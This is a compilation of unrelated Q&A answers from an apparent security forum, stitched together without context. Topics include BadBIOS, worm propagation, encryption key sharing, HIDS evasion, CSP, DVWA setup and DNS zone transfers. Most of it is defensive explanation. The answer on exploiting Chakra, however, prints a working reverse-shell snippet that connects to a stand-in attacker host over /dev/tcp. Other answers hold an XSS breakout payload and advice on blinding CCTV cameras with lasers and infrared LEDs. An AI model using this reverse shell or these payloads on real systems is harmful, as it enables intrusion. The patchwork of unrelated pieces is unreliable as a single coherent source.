Use Splunk to run Nmap scan from remote host to potential attacker

This questions is rather opinion based and not really about security.. so until this gets flagged I'll answer how I might go about accomplishing this as effortlessly as possible.

For what it's worth!

set Splunk alert to invoke script (docs here)
script (above) could be a simple shell script that takes in the necessary info that you need for the Nmap scan as a payload in a POST request to the server via cURL
setup simple API for server to accept data via something like json-server (docs here)
configure cron on server to run every N seconds to check db.json (json-server data storage) for new data and if found, run Nmap scan
potentially store Nmap scan results within db.json so that Splunk machine can, by way of another script, query data and action accordingly

This is by no means perfect but might at least be able to provide you with an early route to start in hacking together a quick prototype for what you are looking to accomplish. Ideally, you would want to set up a more robust and tested API but, again, the above can suffice as a working POC.

This is a tutorial for quickly standing something like this up with JWT authentication.


Never believed BadBios...but do now...is there help?

If the device is truly infected at BIOS level or below then I would be hesitant to say you could ever trust the device again. The normal methods for replacing the firmware involve interaction with said firmware. I.e. how do you know it actually does it? Or that it doesn't patch the infection back in? Meanwhile most traditional malware writers are not going to bother infecting firmware - the economics of the effort required vs payoff aren't worth it. So you have to assume an extremely skilled and motivated party is behind it.

Unless you knew where the machine was infected you would have to re-flash every piece of storage on the device using a method which does not involve the existing firmware. For some parts there will be hardware pins which can be used to write directly to storage. For others you might have to desolder the flash, write it then re-solder it back. Unless you already had the equipment required for this I expect you'd find your economics would take you back to replacing the hardware.

However I find it extremely unlikely these machines are infected at this level. Economics mean malware this sophisticated doesn't make sense for targeting mass infection. And were you the type of party that is likely to be targeted (state actor, large corporate etc.) you would not have questioned the economics of replacing the machines.

I would suggest obtaining known to be clean OS installation media, formatting the entire disk(/s) and reinstalling the OS, fully updating it and installing an appropriate anti-virus product. I would then fully review other software you are considering installing before doing so and not inserting any media which has touched the machines while infected. If files need to be backed up and recovered start recovery to a single machine. Once that is confirmed not to have been infected you can recover to the others. As an added precaution you could use a live-USB with a different operating system to copy the files to the clean machine. You could also run a full virus/malware scan on the backup from that other OS before recovery.


Here are some ways using which computer worms can spread over a LAN:

Exploiting vulnerabilities: The number one method is exploiting a vulnerability in the operating system or an installed software. The worm starts launching exploits from patient zero in your network against other computers hoping that they don't have the latest patches/updates installed. Using those exploits, the worm can execute shellcode on the target machine and get it to download and execute a version of the worm itself.
Weak passwords: The worm will usually try to launch dictionary attacks on other machines on the network in order to find the correct credentials and use them to certain commands on a, albeit patched, the target machine. On Windows, this is possible using the admin shares.
Insecure configurations: One prominent example is using openly-shared folders. The worm can simply copy itself into the shared folder on another machine using some attractive name/icon like CounterStrike-Source_Installer.exe on computers connected at a LAN party.
Email: As the other methods, this method isn't specific to LANs and it is actively used to infect corporate networks. The worm will read the address book on the infected machine and starts sending carefully-written emails trying to convince as many people to click on a link and install a software (Example: Impersonating the IT department and asking the employees to install a custom Flash Player update, which is in fact a version of the worm itself), or to download and execute some attachment, etc.


Accessing encrypted data with multiple users

For each data record (or set of records, if the same users can always access all records in a set), create a random encryption key. Then encrypt a copy of this key with the key of each user who is allowed to access the data.

(The user keys may be either derived directly from the user's password using a suitable key derivation function such as PBKDF2, or you can generate a random per-user key from each user and encrypt it with the password derived key.  The latter option is a bit more complicated, but has the advantage that you only need to re-encrypt one key when a user changes their password.)

For more information, see e.g. this related question on crypto.SE.

Edit: I just noticed the mention of LDAP in your question.  I'm not really very familiar with LDAP, but as far as I can tell, if your application is acting as an LDAP client, so that the user enters their password to your application, which then queries the LDAP server to validate it, then you can mostly do it as described above.

The one thing you're going to have problems with is password changes, unless you can somehow get the LDAP server to notify you about them and to include the old and new passwords in the notification.  One option would be to have your app also check the entered password against its own database, e.g. by storing a hash of the user's encryption key (derived from the password with PBKDF2) in the database.  If the password passes LDAP validation but fails this check, it means that the user has changed their password, in which case you need to ask them to also enter their old password so that you can re-encrypt the data.

However, the ideal solution would really be to store the encrypted data (or at least the per-user keys) on the LDAP server, if the server can be configured to do that securely.  Based on some Googling, at least some of them can be.


Attacks against HIDS software running on the same machine

Would Tripwire's use on a system would be detected by malware?

While a properly secured system would make it difficult to detect system security measure like Tripwire, I believe a sophisticated piece of malware could detect the presence of Tripwire or another HIDS. A program like Tripwire is no necessarily hidden, but it is protected by OS access controls. For example removing other read permission to the directory /usr/local/tripwire is not so much hiding as protecting.

Do HIDS [they] take steps to hide and obscure themselves?

Tripwire itself, excluding how an administrator sets it up on a system, does not attempt to hide itself from detection by malware. Tripwire does encrypt and authenticate its configuration and database files. Again I would describe this as protection instead of hiding.

What steps could an attacker take to detect them?

It depends on the system and what vulnerabilities it has. Attacks can be very inventive, and do anything from exploiting specific library functions, to using unintended signaling channels. For example, an attacker developed a method of determining characters in a password by monitoring page-faults.

"Let's say an attacker manages to end the HIDS process...will they report this?"

Depending on how the process was ended a HIDS may or may not explicitly log the unexpected termination. However, a properly configured system should explicitly log the unexpected termination of a security program. Even if the system did not explicitly log the unexpected termination the fact would be easily discoverable by evidence like a missing or incomplete audit report.

"Can an attacker just end and then restart the process without this being reflected in the logs?"

If the system is properly configured, usually no. If the system kept all its audit and logging data locally, the attacker was sophisticated, and the attacker effected a full access compromise, then yes the attacker could modify the HIDS logs to show normal operation.

"What about notifications....can they be prevented from sending out notifications?"

Again it depends on the system, how its security is constructed, and the sophistication of the attacker. A HIDS can be configured to send e-mail or other types of notifications, and the system may be configured to protect those notifications.


How do I monitor what a penetration tester is doing?

Unless absolutely necessary, do not give your pentester access to your production systems. Instead, create a dummy system with the same configuration but without any sensitive data stored in databases, etc. If you let the pentester work on the production systems, you will have to trust them. If it is absolutely necessary to allow an untrustworthy pentester to operate on production systems, at least make an off-site backup so any changes to the server can be compared to the backup.
This may not be possible if the entire network needs to be tested, or if a test system that behaves identically to the production system cannot be set up. In that case, you will need to trust them.
Generally however, a qualified pentester will be trustworthy. It is not worth it to them to compromise your computer and ruin their reputation in an industry where it's so hard to gain it back. Both you and the pentester will sign a contract specifying what they are allowed to do, what attacks are in-scope, etc. This will allow you to prove malpractice in the case that they step out of bounds (for example, if they stress test your production server against your wishes and end up effectively denying service).


SMS / voice call interception with a fake base station

This video demonstrates the fake base station attack.

To answer your first question, yes, it does go both ways (I'm pretty sure) (see edit and comment below).  The device is in the best place to determine the most efficient communication path (that is, the nearest base station); therefore, it makes sense that the network would use the cell phone's nearest station to send communications on. (see edit below)

The fake station can communicate with another real station to complete the network connection (to be over the top, you could also make your own satellite link).  It does make sense that stations would have to be authenticated, but this is apparently not the case (see video).  It seems that the fake base station actually integrates pretty seamlessly.

Edit: According to the comment below, intercepting an inbound call is actually more difficult for cryptographic reasons.  My guess is that the real base station gets to determine the encryption in this case, not the fake one (don't quote me on this).


Your INPUT chain is largely useless as it forwards all packets from all interfaces to the ALLOW chain anyway - you could've just implemented the ALLOW chain rules in the INPUT chain.

With the rules you have there, UDP and ICMP traffic can be sent to the server by spoofing the source IP address. Response packets would not be received by the attacker, but this may not be necessary for certain attack types.

TCP packets (e.g. SYN) can also reach the server in the same way, but a connection cannot be created as the attacker could not construct a full TCP handshake.

Of course, the attacker would need to know which source IPs are accepted in order to spoof it.

Other than that the rules look alright.


Password complexity is not just for brute-force attempts on the account login, which 2FA would help mitigate. But password complexity also protects against the situation when the password hash database leaks.

2FA only helps if 2FA is turned on and enforced. If you have the option to "authorise" a device, then all the user has for protection is the shorter password.

Conceptually

But what about bruteforce detection measures? And what about resetting passwords when a breach occurs? And what about all the other layers of protection? Can't we reduce each layer if we use many layers of protection?

Technically, yes, but then you put all the effort into maintaining each layer of protection because now the failure of any one layer becomes more likely, which puts more importance on the other layers. In practice, reducing the strength of one layer artificially because you rely on other layers creates a "technical debt" that you have to address from then on.

Password length, specifically

But I have worked with accessibility experts who loved 2FA because it meant that people could have much simpler passwords. And that's not a factor to dismiss. With a password that was simple to type and a phone with a push authentication app (not SMS), people with challenges remembering or entering passwords could enjoy much greater security of their accounts and independence of maintaining their privacy (often, helpers need to log in for people).

So, as with all things about security, there is a trade-off of risks and costs. I would be happy to endorse a reduction in password complexity if it meant that users could better independently maintain their own accounts and there were mitigations in place.


Security better between WPA/WPA2 and AP Login Webpage

Your question isn't the easiest to understand, but I take it you're concerned about the security of the router admin pages on your device. There are ways of compromising the security of HTTPS connections, such as performing MITM attacks (made much easier by manufacturer's tendencies to use self-signed certificates).

However, this is rarely the easiest way of getting in. Recently Netgear, one of the largest router manufacturers, revealed a serious security weakness in the software of some of its products, that can be exploited without even being connected to the network in question. Essentially the attack revolves around a piece of software running on the router that does not correctly verify its input (your credentials/the action). You can read about that here: http://www.computerworld.com/article/3149555/security/an-unpatched-vulnerability-exposes-netgear-routers-to-hacking.html

If you're dead-serious about protecting it, then the best way of doing this is to turn off the web interface. Failing that the next best thing to do is to use network segregation to control from where on your network the configuration  services can be accessed. I do this with a Cisco access point; the wireless users join a different VLAN than the configuration service, and the router refuses to route between the management VLAN and the wireless VLAN, thus preventing them from getting at the configuration portal without using some form of jump-box. This, however, is not a feature available on most consumer-grade routers that I have encountered.


Sending arbitrary request despite form constraints

Any validation done client-side shouldn't be trusted, because it can easily be ignored, bypassed or broken. It's trivial to post requests to your login form handler without using the actual page hosting the form, so that handler should always validate all input it receives.


How do hackers take advantage of open ports as a vector for an attack?

Services listen to ports. Web servers (a service) listen to port 80, but that's just a standard, not a hard rule. You could configure any service to listen on any port. It's not about 'special packets' it's about 'dialing the right port number' to get the service you want.

If your pseudo program has a vulnerability, then it can be attacked on the port it is assigned to. You can't attack a program on ports it is not listening to. If you try to attack it on another port (like port 80 in your example), your program will not be reached.

Your last question, then, is a little strange: "Why can't a hacker try to craft a TCP packet with a malicious string, encapsulate it inside the HTTP packet and therefore attack the web server?" That IS what hackers do. But they target the port of the service they want to hit. But maybe you can refine that question based on the information I have provided.

So, why close ports? Because you want to reduce the number of potentially vulnerable services that you expose to the Internet.


Double encryption with home brew algorithm

Kerckhoffs's principle states:

  A cryptosystem should be secure even if everything about the system,
  except the key, is public knowledge.

Therefore if AES is broken, your homebrew algorithm is likely to be much easier and would have been broken already.

I realise part of your original question stated:

provided they do not have the algorithm

However, as this violates Kerckhoffs's principle your home brew approach is in itself flawed and insecure.

The main reason this is a problem is that it is unquantifiable how much more security it adds to your system. I refer you to Thomas Pornin's answer to a similar question here:

  An additional twist is that algorithm obscurity can harm security.
  What I explain above is that obscurity cannot be trusted for security:
  it might increase security, but not by much (and you cannot really
  know "how much"). It turns out that it can also decrease security. The
  problem is the following: it is very hard to make a secure
  cryptographic algorithm. The only known method is to publish the
  algorithm and wait for the collective wisdom of cryptographers around
  the world to gnaw at it and reach a conclusion which can be expressed
  as either "can be broken that way" or "apparently robust". An
  algorithm is declared "good" only if it resisted the onslaught of
  dozens or hundreds of competent cryptographers for at least three or
  four years.

So therefore you should use another algorithm if you are worried that AES may soon be broken (that or don't use AES at all). I'm assuming the rest of your system isn't 100% secure - so instead of wasting time, effort, energy and resource on creating a home brew algorithm this effort should be spent elsewhere, where it can be  quantifiable that it is actually increasing security. All code has a cost, and it is not just the salary of the junior developer that is creating it. It needs to be maintained and understood by everybody - and each extra person that learns how it works is an extra avenue for the algorithm to be leaked. Don't waste your time.


What are attack vectors for attacking tethering smartphones?

The attack vectors remain the same. The only difference is that mobile phones might provide an additional attack surface with other services reachable like Bluetooth and GSM/UMTS/GPRS/...

Check public vulnerability databases for entries regarding WLAN or other network issues to determine the known attack surface of mobile devices. Once in a while there is something published. But the amount of mobile device specific issues is rather small.


What is the reason for the increase of CVEs since 2017?

Until 2016, MITRE was having trouble assigning CVEs. The process was cumbersome, it took a very long time, and more often than not, researchers simply didn't get a CVE assigned.

In 2017, MITRE changed their assignment process. They created a web form, and are now assigning CVEs in a matter of hours or days. They also outsourced the assignment of CVEs for open source projects to the DWF.

So the spike you are seeing doesn't necessarily mean that more vulnerabilities have been discovered, but just that more researchers apply for and successfully get CVEs. The further increase in 2018 might be explained by more researchers realizing that it is once again possible to easily get CVEs, so even more researchers request them instead of just going without a CVE.


Why does OAuth 2.0 RFC6749 disallow fragments in redirect URI?

You are right. RFC 6749 says the endpoint URI without the appended access token or authorization code is the one that MUST NOT contain a fragment.

The reasoning probably is that there would be two fragments after the redirection as the authorization code or the access token get appended during the execution of the grant.


Should service accounts be set to never lock out

The automatic locking is a defence mechanism against online dictionary attacks: the attacker wants to try potential passwords, repeatedly, until he finds the right one. Blocking after 5 attempts prevents the attack from actually working.

This makes sense only if the password is vulnerable to a dictionary attack, i.e. if the password was generated in the privacy of a human brain. Such biological entities are simply not good at being random. So human-chosen passwords are not strong, and require extra protection.

A service account should not have a weak password, chosen by a human. Such a password is entered only during configuration phases, by administrators, who will not have to remember it. A service account password should be generated with a computer, and be fatly random. With 16 random characters (uppercase and lowercase letters, digits, and a couple punctuation signs), you will have 96 bits of entropy, way more than enough to resist dictionary attacks. This is the kind of password that your service accounts should have. If you use such passwords, then the automatic locking becomes useless, and you can deactivate it, since (as you discovered) it has some inconvenient side-effects.

To generate such a random password, use the following command line on any Linux machine:

(dd if=/dev/urandom bs=12 count=1 2>/dev/null) | openssl base64 -a -e

On Windows, use PowerShell:

$rng = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
$buf = New-Object byte[] 12
$rng.GetBytes($buf)
[System.Convert]::ToBase64String($buf)


How to grade / judge / evaluate a steganography approach?

Whether it's text in text or other kind of steganography, you don't care at all about your points 2 and 3. They are incidental factors.

The only thing you should be concerned about when talking steganography is point 1 "Is my steganographied content distinguishable from normal content". If we see the problem as an attacker, you have an infinite number of document to analyse, you know how to break a steganographied content (know the algorithm) but you do not have the time to test all this algorithm on all the documents. So you need to have a program that will analyse the content and output a (kind of) binary answer : "there is a message in there" or "there is no message in there". In the real life, you would rather get a statistic like over 95% certitude there is a message in the document.

There are countless article in the state of the art that describes stego-methods of analyse the resistance against different types of attacks (Andreas Westfeld F5 implementation, Jessica Fridrich et al. steganalysis of F5)

As you can read in the literature, the quantitative way of measuring this point is statistical analysis.


Router - is there anything to "wipe" before selling

The only thing a router should store persistently is the settings you have changed. This includes the ESSID (network name), the wireless key, the administrator password, and any other credentials necessary for your use of the system (perhaps RADIUS credentials). A factory reset should clear all this information. Note however that low-end routers typically use cheap solid-state storage which can be problematic when it comes to data persistence. See this for example. Especially considering a router will not support TRIM or SED secure erasure, there will always be a risk that modifications to settings may be recovered via software by a moderately sophisticated attacker.

A router should not store anything that goes through it. On some routers, you can configure them to log DNS requests or save their system log to persistent storage, but this is generally only done if configured explicitly, and the storage target is usually external (e.g. a drive over a network or a USB flash drive). Even modern routers have an extremely limited amount of storage (16 MiB is not unheard of, and it's sometimes as low as 4). Unless your router is special or configured in a particularly problematic way, there is no reason to worry about logs storing sensitive information.

Note that this advice comes only from a technical point of view. From a legal point of view, the proper course of action depends on your jurisdiction and many other variables which may or may not be related to information security. I am not a lawyer and I cannot give legal advice. If you need to be in compliance with a particular privacy-related legal regulation, you should consult one.


Could keystroke timing improve security on a password?

The term you are looking for is "keystroke dynamics" or "keystroke biometrics" and is an interesting and growing field.

The idea is that an individual types certain keys in a certain way that does not change much over time. If you can map those dynamics, then you could, potentially, do away with passwords altogether and simply get the user to type anything.


Will it improve security if I place both SHA1 and SHA256 signatures inside codesigned binary on Windows?

Technically, using SHA-256 won't make things really harder for the attacker. Unless you are the attacker.

The concerns about SHA-1 are about collisions. SHA-1 is believed to be somewhat weak in that respect (generating a SHA-1 collision is still very expensive, to the point that it has not been done yet even once, but we have strong theoretical reasons to think that the collision-finding methods that have been designed to attack SHA-1 would succeed in finding a collision in substantially less effort than the 280 expected from a "perfect" hash function).

When you sign a piece of data, you begin by hashing it, and the hash value is then used throughout the rest of the signature generation and verification algorithms. To leverage a collision, one must imagine that there are two distinct versions of the same software, the second one being malicious and doing evil things on the client system, but such that both yield the same value when hashed with SHA-1. If two such files can be created, then a signature (with SHA-1) computed on the first file would also apply to the second one, and vice-versa. This helps the attacker only in a context where the attacker gets to choose the file that is signed in the first place.

In your case, the original file (the normal, honest one) is the one that you produce yourself. If a collision helps the attacker, then you are the attacker.

If you are not the attacker, then what an attacker has to do is to find a second preimage: the attacker sees the honest, non-malicious file (that you signed), and tries to make a modified file that hashes to the same value. This is not at all the same problem. A collision is about finding m and m' such that m ≠ m' but h(m) = h(m'). A second preimage is the same thing except that m is not chosen by the attacker. This is much harder, and (as far as we know) infeasible with SHA-1. There is no known, even theoretical, weakness of SHA-1 that would allow an attacker to do that.

Correspondingly, switching from SHA-1 to SHA-256 would not improve things. If the attacker can make a malicious file with a valid signature from you, then this means that the attacker can actually make you sign code of his choosing (e.g. the attacker compromised your own development computers), and under these conditions, SHA-256 does not block the attacker any more than SHA-1.

However, client systems may have another opinion on the subject. From the point of view of a client, the signature process may go thus:

Somebody submits to the signer (you) some data to sign.
You audit the data to be signed, and sign it if you find it good and appropriate. E.g., for software, you look at the source code and do the compilation yourself.

In this model, the attacker may craft some code that looks good but, when compiled, yields a binary that collides with some malicious code that the attacker also crafted. Under this specific model, collisions are an issue, because the attacker is in position to choose both the honest and the malicious versions of the software.

Most probably, you do not follow this model -- when you sign a piece of software, it is a piece of software that you developed yourself, not something submitted from potential attackers. You know that. But Microsoft is not so sure, and might decide that it would be too risky to use a hash function that might allow collisions to happen.

So you still probably want to switch to SHA-256, not because SHA-1 would be too vulnerable (this is not the case in your situation), but because Microsoft may decide to remove SHA-1 support.

Microsoft policy is explained here, with the particular excerpt:

  Code signed with SHA-1 certificates that are time stamped before 1 January, 2016 will be accepted until 14 January 2020 (when Server 2008 extended support ends), at latest. This date may be moved earlier if Microsoft decides SHA1 is vulnerable to pre-image attack.

Note the final sentence: the problem is really about pre-images, not collisions.

You will also want to buy a code-signing certificate such that the signature on the certificate, and on all CA certificates in the chain, use SHA-256, because it seems that Windows is becoming increasingly allergic to SHA-1. For about the same reasons as above, this anathema on SHA-1 may be qualified as overkill, but Microsoft has no choice: Google is intent on killing SHA-1, and Microsoft must follow; otherwise, they will be mocked and laughed at.


Is the common recommendation to obscure the existance of a username on login just security theater?

Sometimes there is a legitimate reason for such a protection. To give one example I've personally observed (details elided), the website for a medical provider that specializes in a particular kind of treatment (possibly something stigmatized, like sex reassignment or hormone replacement, suicide or drug addiction counseling, abortion, STI treatment, etc.) should definitely have such protections, because merely knowing whether somebody has an account with the provider constitutes a breach of patient confidentiality (in practice, whether or not in law).

Of course, you also need to protect the registration page, in that case - maybe the registration page just never shows an error, merely says "check your email for next steps" whether or not the user is in the system, or perhaps registration requires some private info in addition to the usual email address+password - and all the other avenues of detecting existent accounts (forgot password pages, etc.). That's totally doable, though.

The same principle can be applied to other things where privacy is desired. Online dating services, "adult" toy/movie stores, any kind of social site where users are always under pseudonyms, specialized legal services, any kind of problem-reporting or similar service where somebody might want to retaliate (for example, whistleblower sites), and so on.

When you get right down to it, there's relatively few scenarios where you wouldn't prefer to have such protections (an explicitly non-anonymous social networking/collaboration/etc. site is the only class that immediately comes to mind). For most sites, it's probably not that big of a deal, but in general, unless you have a reason to make it clear who all is using your site, you should try to avoid leaking usernames. Enough people prefer privacy that it's at least worth keeping in mind, and even though in theory it should be the user's job to ensure they aren't using usernames/email addresses traceable to them across multiple sites, in practice people are bad at / don't know how to do that.

EDIT: I didn't read all the comments first; @schroeder gets it.


openssl for internal CA -- how do I "Check that the request matches the signature"?

Check ... signature / Signature ok tells you that the openssl program checked the CSR signature and made sure it verifies, before doing anything else. You don't need to check the signature, and it wouldn't be practical to. ca then displays just the subject name by default, or most of the details if name_opt and/or cert_opt is configured as you apparently have, and unless you use -batch you are asked whether to sign (issue) the proposed certificate or not.

For a CSR you generated yourself, you presumably trust yourself (unless you are Michael Garibaldi), so approve.
If the CSR came from a third party, best practice is to check it out before running ca, because the most important thing to check is whether the requester is legitimate and authorized which you can't do from just the CSR (or cert) contents, so again just approve. But if you didn't check it yet, this is your last opportunity to:

check subject and optionally SAN appropriately identifies the party; or for simple hierarchical X.500 cases (which aren't nearly as common as CCITT hoped) you can configure policy to automatically check subject DN against issuer DN
if you copied extensions from the CSR, which is not the default, check they describe capabilities you want to 'certify' for this party; if you used extensions from your config file(s) you can doublecheck there's no mistake there (even if you did check the CSR)
perhaps check the subject-key algorithm and size meet any security and interoperability requirements for your environment and/or this party


What are the different payloads used for XSS vulnerability?

By looking at this payload alone, without the rest of the code, it's probably hard to understand it.

Let's say there is JS and PHP code in a website:

<script>
var jsvar;
jsvar = "<?php echo $phpvar;?>";
</script>

What this code does is it simply assigns a user controlled variable from PHP to the JS variable jsvar. If the PHP variable contains the text test, then the JS variable will become:

jsvar="test";

If the user would enter just alert() into the PHP variable, the JS variable would become:

jsvar="alert()";

...which would not cause XSS because alert() would be just a string.

But if the user/attacker enters \";alert('XSS');//, the JS code would become:

jsvar = "";alert('XSS');//";

Here you can see that the attacker has assigned "" to the jsvar variable, and as the next command, he has entered alert('XSS');. The // on the end is just to comment out the rest of the line. And the \ sign at the beginning of the payload was just to escape the " sign in PHP, so that it is considered just as text in PHP.


default-src *

This is now the default policy for all directives that are absent. This is not as secure as it could be.

Since there is no img-src directive, the value for default-src is used as img-src. This means that images can be loaded from any URL. This doesn't introduce a big security problem, since showing images is relatively benign.

There is also no object-src directive, so that also permits everything. This is a problem, since XSS can now load Flash application using an object tag.

  Also, what threat usage of data: could create?

Any plaintext script can be rewritten as a data: URL, so allowing data URI's is equivalent to allowing any inline script. So this does not properly prevent against XSS.

  Does it break the application if I remove that?

This depends whether the application uses the data URI for the normal functioning of the application. Some applications use this, although it is rare.

You can also check the CSP yourself using the CSP Evaluator tool.


How can a VPN circumvent MAC address filtering?

The WiFi parental controls might be focused on certain protocol traffic (e.g. HTTP) and not other protocol traffic, like VPN. Meaning that the controls are not on the hardware level, but the traffic level (i.e. "this device accessing the web at this time").

The router manual might have clues as to how the filtering works.


Attack vectors in POSTing variables from one php script to the next?

It's difficult to give you a detailed answer as a lot will depend on the actual code you use to implement this process.  The first and arguably most important thing to consider is input AND output validation on the data supplied by the user.  There are plenty of good resources out there about that, http://www.owasp.org/ springs immediately to mind as the "go to" for that.

In terms of your actual approach, I would suggest that rather than having ScriptA.php POST to ScriptA-verify.php you should POST to ScriptA.php and handle the verification in there.  By all means accomplish this by performing an "include" of ScriptA-verify.php but what this means is that you do not have the added complexity and consequently risk, of posting data back to ScriptA.php if ScriptA-verify.php returns a problem.  The original form data will be available to you from your sanitised variables derived from $_POST (do not use $_POST directly, see above wrt validation).

The $_SESSION superglobal is "pretty secure" but there's a decent post here which you can find out a bit more from: Altering a $_SESSION variable in PHP via XSS?.  There are others on Security StackExchange too.

I don't get a warm, fuzzy feeling that your check of $_SESSION['userid'] is going to be particularly bombproof though a lot of that will depend on knowing other specifics of the process you are developing.  For example, ability to session hijack if session is conducted over HTTP not HTTPS, PHP configuration settings on your server, etc.

Another question I would ask is what checks are in the other pages that this login will protect otherwise you are potentially vulnerable to such things as Insecure Direct Object Reference.  In short, don't assume that people will always come through landing.php to get to "secured-page1.php".  If there's nothing in secured-page1.php to ensure a valid session all your efforts are in vain.

I also don't see anything which is going to protect your users from CSRF attack. Again it depends what the application actually does but if the only check before loading a page is for a valid session then it would be trivial to force a user's browser to request specific pages such as password resets or such like.  Again, the OWASP site can help you here.

This is something of a quick taster, brain dump answer.  If you can give more specific details of the code behind your app and possibly your experience level it may be possible to give you more low level and thorough advice.


I faced the similar issue and after some trial and error, stumbled upon following solution.

Stop the XAMPP control panel.
Go to ..\XAMPP\mysql
Find resetroot.bat and execute it.
Proceed with entering random key when prompted.
Restart XAMPP control panel.

Now, when you try to connect to DVWA, the browser should land you on the Login Page.

Solution: The bat file clears the passwords for 'root' and 'pma' user.

Note: Make sure you have $_DVWA[ 'db_password' ]= '' in your config.inc.php file

Worked for me! Good Luck !!

PS: I encountered this issue after a successful DVWA site crawling using BurpSpider. i.e Everything was working fine and all of sudden I encountered mysql error. If anyone knows the root cause then explanation will be of much help.


How does an attacker approach a website?

From most of my clients (generally Fortune 100 companies) I can say that most attackers they notice (lets exclude the wide range of scans and script kiddie attacks dropped at the perimeter and DMZ) are very experienced, have extensive resources and follow pretty much the same methodology as the white hats.

An example:

Discovery - from public sources
Footprinting - can be under the radar of most IDS's
Vulnerability Scanning - of web apps, perimeter defences, mail server etc
Exploitation - use identified vulnerabilities to get to target or get a foothold
Escalation - move from user to admin/root access, or from DMZ to internal network
Embedding - rootkit, backdoors etc
Cleanup - hide tracks in log files etc

Of course this is just a very high level example, but it gives an idea.


Disabling/Destroying CCTV/IP Cameras with Lasers?

I've experimented with this attack previously.

It depends on a few variables. First, the strength in mW of the laser you are using. Second the quality of the camera you are trying to disable.

1 - How does this laser attack apply to cameras?

A laser creates a super bright and focused spot on the CCD (camera sensor). This spot can be bright enough to blind the camera, or strong enough to physically damage the CCD/CMOS sensor of the camera (melting, overloading the circuitry etc). This is the type of image you'll see when a lazer is pointed at your camera:

2 - For which types of cameras does the laser pen attack work against (CCTV Vs. IP)?

It doesn't matter. It will work on ALL visible light imaging technologies. This includes film cameras, CCD, CMOS sensors etc. I've tested this with 'prosumer' point and shoot cameras and a wide variety of CCTV cameras. Being IP/CCTV doesn't change the fact that your overloading the light sensing components of the imaging sensor.

3 - Is the laser pen attack the only vector against those devices (apart from obvious things like fire, TNT, acid, shooting, etc)?

NO! Another clever one that i've used to success is wearable Infrared LED clothes (usually on a hat). This is essentially the same as using a bright light to obscure you from view, you will show up on the screen, but if you use bright enough LED's, it'll make you un-identifiable.

4 - Why are cameras still vulnerable to it, if at all?

Because cameras sense light, if you throw enough light at them, they won't be able to process the weaker reflected ambient light.

5 - Finally, how can I prevent those type of attacks against my cameras (they are all IP-based)?

You can't really. Its part of the design of the cameras. The best thing to do would be to identify cameras that may be vulnerable and perhaps install hidden cameras in the area so that if someone disables an overt camera, they'll hopefully miss the covert one.

For more information on this type of attack, check this guy's site, there have been a few projects like this around but this is well written up and contains lots of good example shots.


If a “man in the middle attack” obtains the username & password of user, are there mechanisms that can prevent them connecting to server?

If you only have username+password authentication, and this login info is intercepted, you cannot realistically block the attacker from connecting. You have to look into two-factor authentication to prevent attackers from reusing login credentials etc. And even then, when the attacker has continued access to all traffic, this will not help at all.

If you don't use https, the attacker can also simply intercept all traffic, so even if you can prevent him from logging in himself, no information is actually protected.


How do people typically perform security audits of firewalls?

I usually look firstly at the network diagrams and how the network is or should be configured. This will give me an idea of where is the perimeter, the internal networks, the functional segments and so on. I then look at what are the devices - brand, model - used to manage the environment, whether they are enterprise class and have functionality to unify the management. This should give me an indication of how much I can see centrally versus how much time I'll need to go through individual systems.

I'll look at the basic management of the firewall - firmware updates and version, user management, syslog and NTP configurations. Then I'll look at the rules.

Ideally rules will be justified/explained with a comment or link to a change control. There will be a valid source, destination with specific protocols for most rules - there will be very few instances of 'any'. Secure protocols will be used where possible, HTTPS, SFTP and justified if not. Redundant rules and objects will be disabled or removed. Application and operations teams will assist in the review to validate their requirements.

Counts on use of rules or tools to identify unused rules/objects are useful.

Once you've completed the review and you have a list of issues, questions, these should be entered into a report or spreadsheet and changes required identified and prioritised. Redundant rules should be disabled temporarily prior to deletion and comments updated. Rules which can be more restrictive should be updated and commented.

Once you've done the above across the estate, it's probably time to start again!


Problem with shellcode when exploiting Chakra

Using unknown code is always risky. Backpatching and etc will break many things you don't expect. Often, devices with old versions of software will actually have been backpatched, but there is no way to know other than reading the change logs and releases.
That said, try to create a reverse java shell to the server (you'll need to kick off a listener). If you can get a good shell you'll have much better luck writing the script to call the virus yourself. Honestly, at the point you have a shell with privleges, you can probably call this challenge completed.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

If you haven't found this page, it might help: https://www.cvedetails.com/cve/CVE-2016-7200/


My web server is hit by strange traffic, what is that?

Access log

1.  304 not modified answer. Most likely a perfectly legal request, especially considering the user-agent.

2. 404 on favico.ico means that your webserver does not have the favicon.ico file available and replies with "404 not found". This is normal and can be fixed by adding a favico.ico file to your webserver document root.

3. "400 Bad Request". This looks like a probing request to see how your webserver replies to this. Usually the webserver only returns "Your browser sent a request that this server could not understand."

4. 5. 6. This is harmless 404 returning from your server. However this seems to be probing for proxy functionality on your webserver.

 7. Harmless request to your document root (probably returning index.html or similar). The findsa.co.za path is the referer header.

Error log

1.2.3.4. Harmless entries. These are just the webservers error when trying to load the files which it responded 404 on.


Detecting a Crypted executable that is supposed to bypass antivirus

With proper encryption, it could be impossible to know that an encrypted file was originally an executable.  Of course, if it gets redistributed in that exact same binary state, antivirus makers could identify a signature to recognize it.

Such a distribution system would require a process to be already present on the client computer to decrypt and run the virus.  If that were the case, it would be feasible to cheat the encryption to use a variable key in a way that the client process knows how to handle, making its detection almost impossible.

Then again, the process that would handle this task would be the real source of the trouble and could potentially be identified by the antivirus.


The syntax for host is:

host -t axfr domain.name dns-server

For dig:

dig axfr @dns-server domain.name

Replace dns-server with the authoritative DNS server and domain.name with your target domain name.

Keep in mind that this has very little to do with web applications, the above has to do with DNS. If we're talking about penetration testing, DNS zone transfers are a check one is more likely to perform while doing a network (rather than an application) pentest.

DigiNinja had put up a domain name zonetransfer.me for testing. Example:

$ host -t axfr zonetransfer.me nsztm1.digi.ninja.
Trying "zonetransfer.me"
Using domain server:
Name: nsztm1.digi.ninja.
Address: 167.88.42.94#53
Aliases:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15449
;; flags: qr aa; QUERY: 1, ANSWER: 41, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;zonetransfer.me.               IN      AXFR

;; ANSWER SECTION:
zonetransfer.me.        7200    IN      SOA     nsztm1.digi.ninja. robin.digi.ninja. 2014101001 172800 900 1209600 3600
